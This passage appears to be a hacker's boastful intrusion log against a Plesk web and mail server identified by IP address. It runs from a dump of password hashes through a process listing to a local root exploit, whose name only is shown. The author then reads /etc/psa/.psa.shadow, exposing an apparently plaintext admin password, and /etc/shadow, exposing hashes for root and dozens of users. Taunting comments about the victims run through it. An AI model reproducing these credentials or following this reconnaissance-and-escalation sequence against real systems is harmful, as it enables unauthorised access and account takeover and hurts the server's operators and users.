  933. stcsd:$1$TRu9HU67$tsjdX..cGgp4/HOA5IRBk1
  934. stcsd:$1$TRu9HU67$tsjdX..cGgp4/HOA5IRBk1
  935. tcsoal:$1$8IvtSsof$Js4ss4101mHXRhS1UgW.z/
  936. tcsoal:$1$Yf8T/mm8$xbXyku1q9H0g30wAxwler/
  937. tcsoal:$1$/Ciht4fS$S4Hx3kHnNkm3Vu2Cl/E7.1
  938. tcsoal:$1$Yf8T/mm8$xbXyku1q9H0g30wAxwler/
  939. tcsoms:$1$aCobysj2$oZShF1So8TZCuH8dq79UE0
  940. tcsoms:$1$ow2DKzUF$FKjZPhq5ahj/bWC.uPAl61
  941. tcsoms:$1$ow2DKzUF$FKjZPhq5ahj/bWC.uPAl61
  942. tisoms:$1$8mQ6hE6A$CvYlVP6fPLmuSHdyDJg4v1
  943. tisoms:$1$BuFAYulO$kLtpxApIF4yvonPrSmfFW1
  944. tisoms:$1$BuFAYulO$kLtpxApIF4yvonPrSmfFW1
  945. tunms:$1$6F5myr2t$KmJLCml.CybyQjDqoG3TG1
  946. tunms:$1$O42Xnjjg$pKnLJUYfC.weyl1U32Dtf1
  947. tunms:$1$uWPMvVMY$v3Qc7eyUJB7Evpt0iSnOq1
  948. tunms:$1$O42Xnjjg$pKnLJUYfC.weyl1U32Dtf1
  949. vbcsd:$1$C0j6Be38$To6eb4DzaCtA46pN/x6sG.
  950. vbcsd:$1$4e/iDO4I$6157lAdEF2IaaYKa2NwNS.
  951. wcsoks:$1$WO9U6YiB$wEEafCY2i86zRpEi1hce20
  952. wcsoks:$1$HZoMeTi0$gwdZvPQTqavG4sAiDlEXZ1
  953. wsoks:$1$eSaYt0Fv$vi9zN.GAwbKGQoslpxDr11
  954.  
  955. // LETS SEE WHAT KINDA SHIT THEY RUNNIN
  956.  
  957. $ ps -aux
  958. USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
  959. root 1 0.0 0.0 2156 532 ? Ss Feb22 3:04 init [3]
  960. root 2 0.0 0.0 0 0 ? S Feb22 0:35 [migration/0]
  961. root 3 0.0 0.0 0 0 ? SN Feb22 4:16 [ksoftirqd/0]
  962. root 4 0.0 0.0 0 0 ? S Feb22 0:00 [watchdog/0]
  963. root 5 0.0 0.0 0 0 ? S Feb22 0:30 [migration/1]
  964. root 6 0.0 0.0 0 0 ? SN Feb22 5:09 [ksoftirqd/1]
  965. root 7 0.0 0.0 0 0 ? S Feb22 0:00 [watchdog/1]
  966. root 8 0.0 0.0 0 0 ? S Feb22 0:38 [migration/2]
  967. root 9 0.0 0.0 0 0 ? SN Feb22 3:03 [ksoftirqd/2]
  968. root 10 0.0 0.0 0 0 ? S Feb22 0:00 [watchdog/2]
  969. root 11 0.0 0.0 0 0 ? S Feb22 0:53 [migration/3]
  970. root 12 0.1 0.0 0 0 ? SN Feb22 337:41 [ksoftirqd/3]
  971. root 13 0.0 0.0 0 0 ? S Feb22 0:00 [watchdog/3]
  972. root 14 0.0 0.0 0 0 ? S< Feb22 0:01 [events/0]
  973. root 15 0.0 0.0 0 0 ? S< Feb22 0:00 [events/1]
  974. root 16 0.0 0.0 0 0 ? S< Feb22 0:01 [events/2]
  975. root 17 0.0 0.0 0 0 ? S< Feb22 0:13 [events/3]
  976. root 18 0.0 0.0 0 0 ? S< Feb22 0:00 [khelper]
  977. root 19 0.0 0.0 0 0 ? S< Feb22 0:00 [kthread]
  978. root 25 0.0 0.0 0 0 ? S< Feb22 0:01 [kblockd/0]
  979. root 26 0.0 0.0 0 0 ? S< Feb22 0:02 [kblockd/1]
  980. root 27 0.0 0.0 0 0 ? S< Feb22 0:02 [kblockd/2]
  981. root 28 0.0 0.0 0 0 ? S< Feb22 0:27 [kblockd/3]
  982. root 29 0.0 0.0 0 0 ? S< Feb22 0:00 [kacpid]
  983. root 128 0.0 0.0 0 0 ? S< Feb22 0:00 [cqueue/0]
  984. root 129 0.0 0.0 0 0 ? S< Feb22 0:00 [cqueue/1]
  985. root 130 0.0 0.0 0 0 ? S< Feb22 0:00 [cqueue/2]
  986. root 131 0.0 0.0 0 0 ? S< Feb22 0:00 [cqueue/3]
  987. root 134 0.0 0.0 0 0 ? S< Feb22 0:00 [khubd]
  988. root 136 0.0 0.0 0 0 ? S< Feb22 0:00 [kseriod]
  989. root 213 0.0 0.0 0 0 ? S< Feb22 71:43 [kswapd0]
  990. root 214 0.0 0.0 0 0 ? S< Feb22 0:00 [aio/0]
  991. root 215 0.0 0.0 0 0 ? S< Feb22 0:00 [aio/1]
  992. root 216 0.0 0.0 0 0 ? S< Feb22 0:00 [aio/2]
  993. root 217 0.0 0.0 0 0 ? S< Feb22 0:00 [aio/3]
  994. root 372 0.0 0.0 0 0 ? S< Feb22 0:00 [kpsmoused]
  995. root 417 0.0 0.0 0 0 ? S< Feb22 0:00 [ata/0]
  996. root 418 0.0 0.0 0 0 ? S< Feb22 0:00 [ata/1]
  997. root 419 0.0 0.0 0 0 ? S< Feb22 0:00 [ata/2]
  998. root 420 0.0 0.0 0 0 ? S< Feb22 0:00 [ata/3]
  999. root 421 0.0 0.0 0 0 ? S< Feb22 0:00 [ata_aux]
  1000. root 427 0.0 0.0 0 0 ? S< Feb22 0:00 [scsi_eh_0]
  1001. root 428 0.0 0.0 0 0 ? S< Feb22 0:00 [scsi_eh_1]
  1002. root 444 0.0 0.0 0 0 ? S< Feb22 0:00 [scsi_eh_2]
  1003. root 445 0.0 0.0 0 0 ? S Feb22 0:00 [hpt_wt]
  1004. root 446 0.0 0.0 0 0 ? S< Feb22 151:44 [kjournald]
  1005. root 471 0.0 0.0 0 0 ? S< Feb22 1:12 [kauditd]
  1006. root 504 0.0 0.0 2376 652 ? S< Feb22 0:00 [kmpathd/0]
  1007. root 1304 0.0 0.0 0 0 ? S< Feb22 0:00 [kmpathd/1]
  1008. root 1305 0.0 0.0 0 0 ? S< Feb22 0:00 [kmpathd/2]
  1009. root 1306 0.0 0.0 0 0 ? S< Feb22 0:00 [kmpathd/3]
  1010. root 1345 0.0 0.0 5072 1608 ? S Jul16 0:01
  1011. /usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
  1012. /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  1013. popuser 1346 0.0 0.0 7296 1144 ? S Jul16 0:03 /usr/bin/imapd
  1014. Maildir
  1015. root 1355 0.0 0.0 0 0 ? S< Feb22 0:00 [kjournald]
  1016. root 1387 0.0 0.0 5072 1848 ? S Jul16 0:01
  1017. /usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
  1018. /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  1019. popuser 1388 0.0 0.0 7372 1528 ? S Jul16 0:54 /usr/bin/imapd
  1020. Maildir
  1021. root 1401 0.0 0.0 5072 1608 ? S Jul16 0:01
  1022. /usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
  1023. /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  1024. popuser 1402 0.0 0.0 7296 1508 ? S Jul16 0:02 /usr/bin/imapd
  1025. Maildir
  1026. root 2218 0.0 0.0 13668 904 ? S< Feb22 0:00 [krfcommd]
  1027. root 2489 0.0 0.0 12948 1344 ? Ssl Feb22 2:16 pcscd
  1028. root 2503 0.0 0.0 1756 520 ? Ss Feb22 0:00 /usr/sbin/acpid
  1029. root 2527 0.0 0.0 2004 448 ? Ss Feb22 0:00 /usr/bin/hidd
  1030. --server
  1031. root 2552 0.0 0.0 30436 1320 ? Ssl Feb22 1:12 automount
  1032. root 2597 0.0 0.0 7212 872 ? Ss Feb22 2:01 /usr/sbin/sshd
  1033. root 2610 0.0 0.1 10256 2072 ? Ss Feb22 0:00 cupsd
  1034. root 2747 0.0 0.0 2000 464 ? Ss Feb22 0:00 gpm -m
  1035. /dev/input/mice -t exps2
  1036. postgres 2982 0.0 0.0 21240 1688 ? S Feb22 0:00
  1037. /usr/bin/postmaster -p 5432 -D /var/lib/pgsql/data
  1038. postgres 2984 0.0 0.0 11016 420 ? S Feb22 0:06 postgres:
  1039. logger process
  1040. postgres 3001 0.0 0.0 21240 512 ? S Feb22 0:04 postgres:
  1041. writer process
  1042. postgres 3002 0.0 0.0 12020 292 ? S Feb22 0:00 postgres: stats
  1043. buffer process
  1044. postgres 3003 0.0 0.0 11204 336 ? S Feb22 0:00 postgres: stats
  1045. collector process
  1046. root 3046 0.0 7.0 248660 144752 ? Ss Feb22 108:36 /usr/sbin/httpd
  1047. xfs 3336 0.0 0.0 3584 1188 ? Ss Feb22 0:00 xfs -droppriv
  1048. -daemon
  1049. root 3363 0.0 0.0 2360 444 ? Ss Feb22 0:00 /usr/sbin/atd
  1050. avahi 3398 0.0 0.0 2684 1316 ? Ss Feb22 0:03 avahi-daemon:
  1051. running [ip-97-74-115-143.local]
  1052. avahi 3404 0.0 0.0 2684 424 ? Ss Feb22 0:00 avahi-daemon:
  1053. chroot helper
  1054. 68 3435 0.0 0.1 5776 3856 ? Ss Feb22 0:04 hald
  1055. root 3436 0.0 0.0 3256 1088 ? S Feb22 0:00 hald-runner
  1056. 68 3447 0.0 0.0 2104 828 ? S Feb22 0:00
  1057. hald-addon-acpi: listening on acpid socket /var/run/acpid.socket
  1058. root 3475 0.0 0.0 33784 884 ? Sl Feb22 0:15 /usr/bin/hptsvr
  1059. root 3481 0.0 0.5 28360 11900 ? SN Feb22 0:08 /usr/bin/python
  1060. -tt /usr/sbin/yum-updatesd
  1061. root 3527 0.0 0.0 2656 1216 ? SN Feb22 0:26
  1062. /usr/libexec/gam_server
  1063. root 3855 0.0 0.0 3604 428 ? S Feb22 0:00
  1064. /usr/sbin/smartd -q never
  1065. root 3858 0.0 0.0 1744 464 tty1 Ss+ Feb22 0:00 /sbin/mingetty
  1066. tty1
  1067. root 3859 0.0 0.0 1748 468 tty2 Ss+ Feb22 0:00 /sbin/mingetty
  1068. tty2
  1069. root 3860 0.0 0.0 1744 464 tty3 Ss+ Feb22 0:00 /sbin/mingetty
  1070. tty3
  1071. root 3862 0.0 0.0 1744 460 tty4 Ss+ Feb22 0:00 /sbin/mingetty
  1072. tty4
  1073. root 3865 0.0 0.0 1744 464 tty5 Ss+ Feb22 0:00 /sbin/mingetty
  1074. tty5
  1075. root 3867 0.0 0.0 1748 468 tty6 Ss+ Feb22 0:00 /sbin/mingetty
  1076. tty6
  1077. root 3869 0.0 0.4 23908 8900 ? Ss Feb22 1:43
  1078. /usr/bin/sw-engine -c /usr/local/psa/admin/conf/php.ini
  1079. /usr/local/psa/admin/bin/modules/watchdog/wdcollect -c
  1080. /usr/local/psa/etc/modules/watchdog/wdcollect.inc.php
  1081. root 3870 0.0 0.1 37624 2848 ? Ssl Feb22 47:27
  1082. /usr/local/psa/admin/bin/modules/watchdog/monit -Ic
  1083. /usr/local/psa/etc/modules/watchdog/monitrc
  1084. root 5213 0.0 0.1 12360 3512 ? Ss Jul22 0:13 sshd:
  1085. root@notty
  1086. root 5217 0.0 0.0 6856 1748 ? Ss Jul22 0:00
  1087. /usr/libexec/openssh/sftp-server
  1088. root 5971 0.0 0.0 5068 1616 ? S Jul24 0:00
  1089. /usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
  1090. /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  1091. popuser 5974 0.0 0.0 7300 1248 ? S Jul24 0:00 /usr/bin/imapd
  1092. Maildir
  1093. root 6969 0.0 0.1 12132 3216 ? Ss Jul21 0:15 sshd:
  1094. root@notty
  1095. root 6978 0.0 0.0 6780 1604 ? Ss Jul21 0:00
  1096. /usr/libexec/openssh/sftp-server
  1097. root 6982 0.0 1.4 32744 30092 ? Ss Jul18 0:17 /usr/bin/spamd
  1098. --username=popuser --daemonize --nouser-config --helper-home-dir=/var/qmail
  1099. --max-children 5 --create-prefs
  1100. --virtual-config-dir=/var/qmail/mailnames/%d/%l/.spamassassin
  1101. --pidfile=/var/run/spamd/spamd_full.pid --socketpath=/tmp/spamd_full.sock
  1102. root 7630 0.0 0.0 5380 1000 ? Ss Feb24 1:00 crond
  1103. root 7986 0.0 0.0 0 0 ? S Jul23 0:12 [pdflush]
  1104. 30 8301 0.0 0.0 3208 564 ? Ss Mar16 0:00
  1105. /usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10027 before-queue
  1106. 30 8302 0.0 0.0 3208 564 ? Ss Mar16 0:00
  1107. /usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10026 before-remote
  1108. apache 8354 0.1 6.8 249524 140568 ? S 03:04 0:02 /usr/sbin/httpd
  1109. drweb 9073 0.0 6.8 145876 140908 ? S 03:06 0:00 drwebd.real
  1110. drweb 9074 0.0 6.8 145876 140932 ? S 03:06 0:00 drwebd.real
  1111. drweb 9075 0.0 6.8 145876 141492 ? S 03:06 0:00 drwebd.real
  1112. drweb 9076 0.0 6.8 145876 141088 ? S 03:06 0:00 drwebd.real
  1113. popuser 9288 0.1 1.7 39044 36312 ? S 00:04 0:17 spamd child
  1114. 501 9741 0.0 0.2 9744 6176 ? S Jul20 0:27
  1115. /usr/sbin/sw-cp-serverd -f /etc/sw-cp-server/config
  1116. root 10034 0.0 0.0 5072 1616 ? S Jul24 0:00
  1117. /usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
  1118. /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  1119. popuser 10043 0.0 0.0 7296 1292 ? S Jul24 0:00 /usr/bin/imapd
  1120. Maildir
  1121. apache 10113 0.1 6.8 249356 140544 ? S 03:14 0:02 /usr/sbin/httpd
  1122. popuser 10206 0.1 1.7 39588 36860 ? S Jul24 0:49 spamd child
  1123. root 11201 0.0 0.0 4904 944 pts/2 S+ Jul20 0:00 screen
  1124. root 11202 0.0 0.0 5584 1668 ? Ss Jul20 0:03 SCREEN
  1125. root 11203 0.0 0.0 4764 1500 pts/1 Ss+ Jul20 0:00 /bin/bash
  1126. root 11229 0.0 0.0 4760 1524 pts/3 Ss+ Jul20 0:00 /bin/bash
  1127. root 11698 0.0 0.0 5072 1612 ? S Jul12 0:01
  1128. /usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
  1129. /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  1130. popuser 11701 0.0 0.0 7296 1500 ? S Jul12 0:42 /usr/bin/imapd
  1131. Maildir
  1132. root 11877 0.0 0.0 5072 1612 ? S Jul12 0:01
  1133. /usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
  1134. /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  1135. popuser 11878 0.0 0.0 7296 1172 ? S Jul12 0:13 /usr/bin/imapd
  1136. Maildir
  1137. root 12664 0.0 0.0 2832 780 ? Ss May17 1:33 xinetd
  1138. -stayalive -pidfile /var/run/xinetd.pid
  1139. drweb 12921 0.4 6.8 145876 142236 ? Ss May05 523:34 drwebd.real
  1140. apache 14656 0.1 6.8 249468 140792 ? S 03:21 0:02 /usr/sbin/httpd
  1141. apache 14807 0.0 6.8 249324 140492 ? S 03:22 0:01 /usr/sbin/httpd
  1142. apache 14927 0.1 7.2 258392 149936 ? S 03:22 0:01 /usr/sbin/httpd
  1143. apache 15025 0.1 6.8 249560 141268 ? S 03:23 0:02 /usr/sbin/httpd
  1144. popuser 15706 0.0 0.0 7404 1528 ? S 03:25 0:00 /usr/bin/imapd
  1145. Maildir
  1146. 30 15854 0.0 0.0 3208 660 ? Ss Mar22 0:00
  1147. /usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10027 before-queue
  1148. 30 15856 0.0 0.0 3200 824 ? Ss Mar22 0:00
  1149. /usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10026 before-remote
  1150. apache 16054 0.0 6.8 251588 140624 ? S 03:29 0:00 /usr/sbin/httpd
  1151. apache 16681 0.0 6.7 249208 140300 ? S 03:30 0:00 /usr/sbin/httpd
  1152. root 17623 0.0 0.0 5072 1616 ? S 00:29 0:00
  1153. /usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
  1154. /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  1155. popuser 17629 0.0 0.0 7296 1412 ? S 00:29 0:00 /usr/bin/imapd
  1156. Maildir
  1157. root 17716 0.0 0.0 0 0 ? S Jul24 0:14 [pdflush]
  1158. popuser 18091 0.0 0.0 7292 1136 ? S 01:38 0:00 /usr/bin/imapd
  1159. Maildir
  1160. root 18097 0.0 0.0 5068 1596 ? S 01:38 0:00 couriertls
  1161. -localfd=4 -tcpd -server
  1162. apache 18708 0.1 6.7 249328 139912 ? S 03:38 0:00 /usr/sbin/httpd
  1163. 30 19002 0.0 0.0 3200 564 ? Ss May05 0:00
  1164. /usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10026 before-remote
  1165. root 19106 0.0 0.0 6072 732 ? S Jul08 0:09
  1166. /usr/lib/courier-imap/couriertcpd -address=0
  1167. -stderrlogger=/usr/sbin/courierlogger -stderrloggername=imapd -maxprocs=40
  1168. -maxperip=4 -pid=/var/run/imapd.pid -nodnslookup -noidentlookup 143
  1169. /usr/sbin/imaplogin /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  1170. root 19110 0.0 0.0 4904 1116 ? S Jul08 0:06
  1171. /usr/sbin/courierlogger imapd
  1172. root 19118 0.0 0.0 6068 732 ? S Jul08 0:14
  1173. /usr/lib/courier-imap/couriertcpd -address=0
  1174. -stderrlogger=/usr/sbin/courierlogger -stderrloggername=imapd-ssl -maxprocs=40
  1175. -maxperip=4 -pid=/var/run/imapd-ssl.pid -nodnslookup -noidentlookup 993
  1176. /usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
  1177. /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  1178. root 19120 0.0 0.0 4904 808 ? S Jul08 0:11
  1179. /usr/sbin/courierlogger imapd-ssl
  1180. root 19126 0.0 0.0 6072 748 ? S Jul08 0:32
  1181. /usr/lib/courier-imap/couriertcpd -address=0
  1182. -stderrlogger=/usr/sbin/courierlogger -stderrloggername=pop3d -maxprocs=40
  1183. -maxperip=4 -pid=/var/run/pop3d.pid -nodnslookup -noidentlookup 110
  1184. /usr/sbin/pop3login /usr/lib/courier-imap/authlib/authpsa /usr/bin/pop3d Maildir
  1185. root 19128 0.0 0.0 4900 1112 ? S Jul08 0:23
  1186. /usr/sbin/courierlogger pop3d
  1187. root 19135 0.0 0.0 6068 728 ? S Jul08 0:30
  1188. /usr/lib/courier-imap/couriertcpd -address=0
  1189. -stderrlogger=/usr/sbin/courierlogger -stderrloggername=pop3d-ssl -maxprocs=40
  1190. -maxperip=4 -pid=/var/run/pop3d-ssl.pid -nodnslookup -noidentlookup 995
  1191. /usr/bin/couriertls -server -tcpd /usr/sbin/pop3login
  1192. /usr/lib/courier-imap/authlib/authpsa /usr/bin/pop3d Maildir
  1193. root 19137 0.0 0.0 4904 996 ? S Jul08 0:23
  1194. /usr/sbin/courierlogger pop3d-ssl
  1195. apache 20073 0.0 6.7 248988 138776 ? S 03:43 0:00 /usr/sbin/httpd
  1196. root 20144 0.0 0.0 5068 1612 ? S 03:44 0:00
  1197. /usr/bin/couriertls -server -tcpd /usr/sbin/pop3login
  1198. /usr/lib/courier-imap/authlib/authpsa /usr/bin/pop3d Maildir
  1199. popuser 20145 0.0 0.0 4936 860 ? S 03:44 0:00 /usr/bin/pop3d
  1200. Maildir
  1201. apache 20319 0.0 6.4 236508 132820 ? S Jul24 0:00 /usr/sbin/httpd
  1202. postfix 20848 0.0 0.1 8816 3452 ? S 03:46 0:00 smtpd -n smtp
  1203. -t inet -u -c -o smtpd_proxy_filter 127.0.0.1:10025
  1204. postfix 20849 0.0 0.0 7012 1732 ? S 03:46 0:00 proxymap -t
  1205. unix -u
  1206. postfix 20850 0.0 0.0 7024 1732 ? S 03:46 0:00 anvil -l -t
  1207. unix -u
  1208. postfix 20851 0.0 0.1 7172 2156 ? S 03:46 0:00 trivial-rewrite
  1209. -n rewrite -t unix -u
  1210. postfix 20852 0.0 0.0 7020 1720 ? S 03:46 0:00 spawn -n
  1211. 127.0.0.1:10025 -t inet user=mhandlers-user
  1212. argv=/usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10027 before-queue
  1213. postfix 20854 0.0 0.0 7024 1728 ? S 03:46 0:00 spawn -n
  1214. 127.0.0.1:10027 -t inet user=mhandlers-user
  1215. argv=/usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10026 before-remote
  1216. postfix 20856 0.0 0.1 8848 3292 ? S 03:46 0:00 smtpd -n
  1217. 127.0.0.1:10026 -t inet -u -c -o smtpd_client_restrictions -o
  1218. smtpd_helo_restrictions -o smtpd_sender_restrictions -o
  1219. smtpd_recipient_restrictions permit_mynetworks,reject -o smtpd_data_restrictions
  1220. -o receive_override_options no_unknown_recipient_checks
  1221. postfix 20857 0.0 0.1 7156 2272 ? S 03:46 0:00 cleanup -z -t
  1222. unix -u
  1223. postfix 20858 0.0 0.0 7068 1824 ? S 03:46 0:00 pipe -n
  1224. plesk_virtual -t unix flags=DORhu user=popuser popuser
  1225. argv=/usr/lib/plesk-9.0/postfix-local -f ${sender} -d ${recipient} -p
  1226. /var/qmail/mailnames
  1227. apache 20889 0.0 0.0 2272 824 ? R 03:47 0:00 ps -aux
  1228. root 21272 0.0 0.1 12936 4096 ? Ss Jul21 0:16 sshd:
  1229. root@notty
  1230. root 21278 0.0 0.0 6796 1748 ? Ss Jul21 0:00
  1231. /usr/libexec/openssh/sftp-server
  1232. root 21568 0.0 0.0 6968 1788 ? Ss Jul08 5:03
  1233. /usr/libexec/postfix/master
  1234. postfix 21765 0.0 0.1 8244 3064 ? S Jul08 3:16 qmgr -l -t fifo
  1235. -u
  1236. postfix 21910 0.0 0.0 7068 1932 ? S Jul08 0:09 tlsmgr -l -t
  1237. unix -u
  1238. apache 22145 0.1 7.0 256496 146220 ? S 01:56 0:08 /usr/sbin/httpd
  1239. 30 23051 0.0 0.0 3200 652 ? Ss Mar18 0:00
  1240. /usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10027 before-queue
  1241. 30 23052 0.0 0.0 3200 708 ? Ss Mar18 0:00
  1242. /usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10026 before-remote
  1243. root 23196 0.0 0.0 4764 1500 pts/0 Ss+ Jul20 0:00 /bin/bash
  1244. named 24811 0.0 0.2 72156 5504 ? Ssl Jun29 11:38 /usr/sbin/named
  1245. -u named -c /etc/named.conf -u named -t /var/named/run-root
  1246. apache 25023 0.1 6.8 249408 140780 ? S 02:10 0:06 /usr/sbin/httpd
  1247. apache 25276 0.1 6.8 251928 141112 ? S 02:10 0:09 /usr/sbin/httpd
  1248. apache 26378 0.1 6.8 249368 140756 ? S 02:13 0:05 /usr/sbin/httpd
  1249. postfix 30087 0.0 0.0 7032 1780 ? S 02:20 0:00 pickup -l -t
  1250. fifo -u -c -o content_filter smtp:127.0.0.1:10027
  1251. root 30254 0.0 0.1 12140 3216 ? Ss Jul18 0:30 sshd:
  1252. root@pts/2
  1253. root 30395 0.0 0.0 4764 1512 pts/2 Ss Jul18 0:00 -bash
  1254. apache 30715 0.0 6.8 249436 140620 ? S 02:21 0:04 /usr/sbin/httpd
  1255. root 31126 0.0 0.0 4624 1216 pts/1 S Jul20 0:00 /bin/sh
  1256. /usr/bin/mysqld_safe --datadir=/var/lib/mysql --socket=/var/lib/mysql/mysql.sock
  1257. --log-error=/var/log/mysqld.log --pid-file=/var/run/mysqld/mysqld.pid
  1258. --user=mysql
  1259. mysql 31206 24.4 2.2 166880 45728 pts/1 Sl Jul20 1587:18
  1260. /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql
  1261. --pid-file=/var/run/mysqld/mysqld.pid --skip-external-locking
  1262. --socket=/var/lib/mysql/mysql.sock
  1263. root 31988 0.0 0.0 5072 1604 ? S Jul16 0:01
  1264. /usr/bin/couriertls -server -tcpd /usr/sbin/imaplogin
  1265. /usr/lib/courier-imap/authlib/authpsa /usr/bin/imapd Maildir
  1266. popuser 31992 0.0 0.0 7292 1420 ? S Jul16 0:03 /usr/bin/imapd
  1267. Maildir
  1268.  
  1269.  
  1270. // TIME TO GET STREET ON THESE PIGS
  1271.  
  1272. $ ./a.black.hat.never.kisses.and.tells
  1273.  
  1274. # id
  1275. uid=0(root) gid=0(root) groups=48(apache),2521(psaserv)
  1276.  
  1277. // CRACKING SHADOW FILES ARE LESS FUN WHEN PLESK STORES USER, FTP AND EMAIL
  1278. // PASSES IN PLAINTEXT IN FILES AND MYSQL PSA TABLES
  1279.  
  1280. # cat /etc/psa/.psa.shadow
  1281. 8w667nHzx%XFXb
  1282.  
  1283. # cat /etc/shadow
  1284. root:$1$9f.5eJ9.$QUYSU4l8mMYIIhg7Dvk5n0:15135:0:99999:7:::
  1285. bin:*:13913:0:99999:7:::
  1286. daemon:*:13913:0:99999:7:::
  1287. adm:*:13913:0:99999:7:::
  1288. lp:*:13913:0:99999:7:::
  1289. sync:*:13913:0:99999:7:::
  1290. shutdown:*:13913:0:99999:7:::
  1291. halt:*:13913:0:99999:7:::
  1292. mail:*:13913:0:99999:7:::
  1293. news:*:13913:0:99999:7:::
  1294. uucp:*:13913:0:99999:7:::
  1295. operator:*:13913:0:99999:7:::
  1296. games:*:13913:0:99999:7:::
  1297. gopher:*:13913:0:99999:7:::
  1298. ftp:*:13913:0:99999:7:::
  1299. nobody:*:13913:0:99999:7:::
  1300. rpm:!!:13913:0:99999:7:::
  1301. dbus:!!:13913:0:99999:7:::
  1302. mailnull:!!:13913:0:99999:7:::
  1303. smmsp:!!:13913:0:99999:7:::
  1304. nscd:!!:13913:0:99999:7:::
  1305. vcsa:!!:13913:0:99999:7:::
  1306. rpc:!!:13913:0:99999:7:::
  1307. rpcuser:!!:13913:0:99999:7:::
  1308. nfsnobody:!!:13913:0:99999:7:::
  1309. sshd:!!:13913:0:99999:7:::
  1310. pcap:!!:13913:0:99999:7:::
  1311. haldaemon:!!:13913:0:99999:7:::
  1312. webdept:$1$fMH2nTXH$8mR4nakYDl79MWehtHJpJ/:14599:0:99999:7:::
  1313. avahi:!!:14599::::::
  1314. avahi-autoipd:!!:14599::::::
  1315. named:!!:14599::::::
  1316. xfs:!!:14599::::::
  1317. apache:!!:14599::::::
  1318. distcache:!!:14599::::::
  1319. mysql:!!:14599::::::
  1320. ntp:!!:14599::::::
  1321. sw-cp-server:!!:14599:0:99999:7:::
  1322. psaadm:!!:14599:0:99999:7:::
  1323. popuser:!!:14599:0:99999:7:::
  1324. mhandlers-user:!!:14599:0:99999:7:::
  1325. webalizer:!!:14599::::::
  1326. psaftp:!!:14599:0:99999:7:::
  1327. alias:!!:14599:0:99999:7:::
  1328. qmaild:!!:14599:0:99999:7:::
  1329. qmaill:!!:14599:0:99999:7:::
  1330. qmailp:!!:14599:0:99999:7:::
  1331. qmailq:!!:14599:0:99999:7:::
  1332. qmailr:!!:14599:0:99999:7:::
  1333. qmails:!!:14599:0:99999:7:::
  1334. postgres:!!:14599::::::
  1335. drweb:!!:14599::::::
  1336. jdpa:!$1$JyO0yJgZ$HssFeCuxD2qNPBcqVAcrE0:14600:0:99999:7:::
  1337. barms:$1$JMHnROPk$hW1voLIUUozaP3fB/Q3PS/:14600:0:99999:7:::
  1338. bcsd:$1$9N.SKA8k$UB9Fa1pj4O9ScqvanwsuD0:14600:0:99999:7:::
  1339. bjm:$1$nQFDQuzG$nixGXRSZ2weKVIZbWvY2Y1:14600:0:99999:7:::
  1340. demo:$1$A/PXg4Bp$gxE6Tua9ymjgqIZiruTZJ/:14600:0:99999:7:::
  1341. dymin:$1$aV.nPRpD$w0u6q9utdB9fC0ze0Y9jk1:14600:0:99999:7:::
  1342. dcsd:$1$BmkM/hGw$WYVxaTBKlAnAG9oZfTNs40:14600:0:99999:7:::
  1343. bocg:$1$YCTsX/LA$muqhDQl9XfKRS691T9Ebu0:14600:0:99999:7:::
  1344. crcsd:$1$R2N6hV/D$Efk6P7K2EF6waHHkC.z9/.:14600:0:99999:7:::
  1345. bocs:$1$WTdEJKgC$cTG5MeoEUpdCmEODakZbF.:14600:0:99999:7:::
  1346. izhth:$1$kUKcvc.x$D20GJqyHyrmwvt9SUHSuo0:14600:0:99999:7:::
  1347. mcmtn:$1$neyLtM6z$VuI6CW0/bf5hdOUqgGkSn0:14600:0:99999:7:::
  1348. ccsal:$1$vhubLzwF$Evrqm.AX4vusW3SqmZA3B0:14600:0:99999:7:::
  1349. tunms:$1$annTeiUZ$twvp7SQzRRNJNEIvxS3Cx/:14600:0:99999:7:::
  1350. ccsd:$1$Lzz71cOH$Djo2V4u/SL9JKqrkvK0/41:14600:0:99999:7:::
  1351. ciwy:$1$DrcaNoRu$pj27lg4ogzIM/1T3xXCpF/:14600:0:99999:7:::
  1352. ncsd:$1$KRjV7G3q$sdkmFwpIp7p9FF1f4hhn90:14600:0:99999:7:::
  1353. icsd:$1$Jg/IPNZ3$173b6vFq9AlwznflpUbzp/:14600:0:99999:7:::
  1354. shsd:$1$4JEzAXVt$KG42rhcwE0livRJ00Awgb/:14600:0:99999:7:::
  1355. polms:$1$QEqTUIBr$L1VWAWaGnhYGsRu0FDrr6/:14600:0:99999:7:::
  1356. grcg:$1$yoyTc6DI$X8v6sg7ExdoUg0bNi8kmU/:14600:0:99999:7:::
  1357. lawmo:$1$0uQIYYqK$y0TIsAA9Miv4Vfn5o7KhR.:14600:0:99999:7:::
  1358. johms:$1$ljRMripB$/v33v9izoRJKITBK04ZgV.:14600:0:99999:7:::
  1359. sacsd:$1$6vTTH5h.$mu0.aSPxOJnNfw0Y1Yhy81:14600:0:99999:7:::
